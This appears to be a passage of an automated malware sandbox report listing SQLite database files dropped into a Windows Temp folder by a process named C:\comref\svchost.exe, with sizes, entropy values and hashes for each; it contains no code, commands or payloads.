                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EDHf5aKyja

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EEZHwmR8bz

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                      Category:dropped
                                                                      Size (bytes):114688
                                                                      Entropy (8bit):0.9746603542602881
                                                                      Encrypted:false
                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EGenWNEveM

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EMJIHx7F7e

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EPbOOJ4DJB

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5707520969659783
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                                      SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                                      SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                                      SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EbdfmCxCja

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EhbqqhI3R7

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\EuG0XkAfGa

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\F4EyBeQU7P

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\FHNLcFjjje

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\FTFbhFmKxY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\FYRtlbbcCs

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\GCl2TwXugY

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\GNonqx4Uxu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\GT1XylEC0K

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.137181696973627
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
                                                                      MD5:2D903A087A0C793BDB82F6426B1E8EFB
                                                                      SHA1:E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
                                                                      SHA-256:AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
                                                                      SHA-512:90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\GWGNlv5duZ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.6732424250451717
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
                                                                      MD5:CFFF4E2B77FC5A18AB6323AF9BF95339
                                                                      SHA1:3AA2C2115A8EB4516049600E8832E9BFFE0C2412
                                                                      SHA-256:EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
                                                                      SHA-512:0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\GWoGmSJvEJ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\GnCMvq2YfZ

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.5712781801655107
                                                                      Encrypted:false
                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Gy9jyIMLV1

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):1.3909341910495931
                                                                      Encrypted:false
                                                                      SSDEEP:48:ToyFawNLopFgU10XJBjKwsBjAFMtt/qEM0g9gingQeroAsaC7cUXt9P:cyxe8OwsiFMttSzefroYC7J9P
                                                                      MD5:1EB30D95ED94CA01369986C3811A0591
                                                                      SHA1:D7277FF6C5D5F55A4B0576045C2928D7501E7AFC
                                                                      SHA-256:CA8D4F98E4AD0ED1F66819E90024EB527A7A46DC26D84FB9FF5F1829B6331F46
                                                                      SHA-512:D5C8BA028977ABA2416D2C02D50FD2535F646003D8F443A01E00C6FC9385F16A6C051502D3947CABF592C619E3E0A22EC586AD57876E517C7B5BB749D396ABA7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HNMndkRX8M

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
                                                                      Category:dropped
                                                                      Size (bytes):196608
                                                                      Entropy (8bit):1.1215420383712111
                                                                      Encrypted:false
                                                                      SSDEEP:384:r2qOB1nxCkvSAELyKOMq+8HKkjucswRv8p3:aq+n0E9ELyKOMq+8HKkjuczRv89
                                                                      MD5:9A809AD8B1FDDA60760BB6253358A1DB
                                                                      SHA1:D7BBC6B5EF1ACF8875B36DEA141C9911BADF9F66
                                                                      SHA-256:95756B4CE2E462117AF93FE5E35AD0810993D31CC6666B399BEE3B336A63219A
                                                                      SHA-512:2680CEAA75837E374C4FB28B7A0CD1F699F2DAAE7BFB895A57FDB8D9727A83EF821F2B75B91CB53E00B75468F37DC3009582FC54F5D07B2B62F3026B0185FF73
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HSIOHlYQyD

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):51200
                                                                      Entropy (8bit):0.8746135976761988
                                                                      Encrypted:false
                                                                      SSDEEP:96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
                                                                      MD5:9E68EA772705B5EC0C83C2A97BB26324
                                                                      SHA1:243128040256A9112CEAC269D56AD6B21061FF80
                                                                      SHA-256:17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
                                                                      SHA-512:312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HWBcRDH0Nl

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                      Category:dropped
                                                                      Size (bytes):40960
                                                                      Entropy (8bit):0.8553638852307782
                                                                      Encrypted:false
                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HYm2mFjDAu

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 5
                                                                      Category:dropped
                                                                      Size (bytes):20480
                                                                      Entropy (8bit):0.848598812124929
                                                                      Encrypted:false
                                                                      SSDEEP:24:TLVF1kwNbXYFpFNYcw+6UwcQVXH5fBODYfOg1ZAJFF0DiUhQ5de5SjhXE1:ThFawNLopFgU10XJBODqzqFF0DYde5P
                                                                      MD5:9664DAA86F8917816B588C715D97BE07
                                                                      SHA1:FAD9771763CD861ED8F3A57004C4B371422B7761
                                                                      SHA-256:8FED359D88F0588829BA60D236269B2528742F7F66DF3ACF22B32B8F883FE785
                                                                      SHA-512:E551D5CC3D5709EE00F85BB92A25DDC96112A4357DFEA3D859559D47DB30FEBD2FD36BDFA2BEC6DCA63D3E233996E9FCD2237F92CEE5B32BA8D7F2E1913B2DA9
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\Ha7qpCdAhB

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                      Category:dropped
                                                                      Size (bytes):106496
                                                                      Entropy (8bit):1.1358696453229276
                                                                      Encrypted:false
                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                      Malicious:false
                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                      C:\Users\user\AppData\Local\Temp\HbexMSjYl6

                                                                      Download File
                                                                      Process:C:\comref\svchost.exe
